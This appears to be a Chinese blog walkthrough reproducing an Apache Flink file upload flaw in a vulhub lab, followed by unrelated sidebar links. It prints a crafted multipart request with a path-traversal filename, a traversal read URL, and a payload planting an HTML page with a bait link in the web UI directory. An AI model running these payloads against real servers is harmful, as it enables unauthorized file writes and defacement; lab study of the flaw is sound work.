当前位置:网站首页>Apache Fink 文件上传漏洞复现及利用
Apache Fink 文件上传漏洞复现及利用
2022-08-11 05:32:00 【Tauil】
Apache Fink 文件上传漏洞复现
打开vulhub靶场,输入命令
cd flink/CVE-2020-17519
sudo docker-compose up -d
sudo docker-compose ps
登录靶场网页http://靶场IP:8081,然后在Submit New job处发现有上传点,f12查看网络数据包,然后上传任意文件
随后可以看到网页POST一个数据包,数据包中的文件,右键点击重发,然后可以看到数据包中内容

boundary是分隔符,不用关注,查看到其fliname应该就是文件的名称,其创建文件的路径猜测是其默认文件路径的 xxx/xxx/jars/upload/test.jar ,如果他没有在这个fliname处进行检查或者强制规定的路径,而是使用类似 touch xxx/xxx/jars/upload/test.jar 这样的直接创建文件的命令,我们可以通过修改fliname,令其命令达到类似 touch xxx/xxx/jars/upload/../../../../../../../tmp/test.jar 的效果,所以我们修改消息体内容为
Content-Type: application/octet-stream 是让文件默认为字节流,浏览器处理这种类型的文件默认是下载,我们要显示他,所以要把它删掉
-----------------------------160778796920884667481441541505
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../../tmp/test"
123456789
-----------------------------160778796920884667481441541505--

其它不修改,然后点击发送,因为该版本的 Apache Flink 中存在有一个目录穿越漏洞,详细内容在https://blog.csdn.net/Tauil/article/details/125930144,我们可以使用该漏洞查看我们创建的内容
输入URL:
http://靶机IP:8081/jobmanager/logs/…%252f…%252f…%252f…%252f…%252f…%252ftmp%252ftest

Apache Fink 文件上传漏洞利用
这时我们可以在Job Manager中发现该网页文件地址

网页图形界面一般为 xxx+xxx+ui 现在我们知道了他的命名格式是 flink-web-xxx ,所以猜测该网页文件地址应该是在 tmp/flink-web-2dd3149d-f348-4e1e-88ed-4ed72f05728b/flink-web-ui
修改数据包为
-----------------------------160778796920884667481441541505
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../../tmp/flink-web-2dd3149d-f348-4e1e-88ed-4ed72f05728b/flink-web-ui/win.html"
<h1>Congratulations</h1>
<a href="https://www.baidu.com">Click here to get one hundred dollers</a>
-----------------------------160778796920884667481441541505--

发送后输入URL:http://靶机IP:8081/win.html 即可访问我们写入的网页

边栏推荐
猜你喜欢

The official website of OpenMLDB is upgraded, and the mysterious contributor map will take you to advance quickly

自己动手写RISC-V的C编译器-02语法描述方法和递归下降解析

USB URB

【LeetCode-56】合并区间

C# 基础之字典——Dictionary(一)

mk file introduction

C语言-6月8日-给定一个字符数组‘i am a student’ 统计字符a的个数并进行输出

UML 中九种图
![swagger错误:WARN i.s.m.p.AbstractSerializableParameter - [getExample,421] - Illegal DefaultValue null](/img/46/6ceeb330821d28b44742436da4123c.png)
swagger错误:WARN i.s.m.p.AbstractSerializableParameter - [getExample,421] - Illegal DefaultValue null

连接数据库时出现WARN: Establishing SSL connection without server‘s identity verification is not recommended.
随机推荐
【力扣】寻找数组的中心下标
C语言-6月10日-my_strcpy函数的编写
C# 基础之字典——Dictionary(一)
【力扣】判断子序列
函数使用记录
5月leetcode-C#刷题日志(持续更新中)
C语言实现三子棋(代码详解)
【力扣】同构字符串
网络安全学习小结--kali基本工具、webshell、代码审计
nepctf Nyan Cat 彩虹猫
VirtualAPK初探
swagger错误:WARN i.s.m.p.AbstractSerializableParameter - [getExample,421] - Illegal DefaultValue null
C语言-6月10日-my_strcat函数的编写
C语言-7月31日-指针的总结以及typedef关键字
非对称加密——网络安全
微信小程序启动页的实现
星盟-pwn-fog
程序集与反射技术(C#)
企业怎样申请SSL证书?
stegano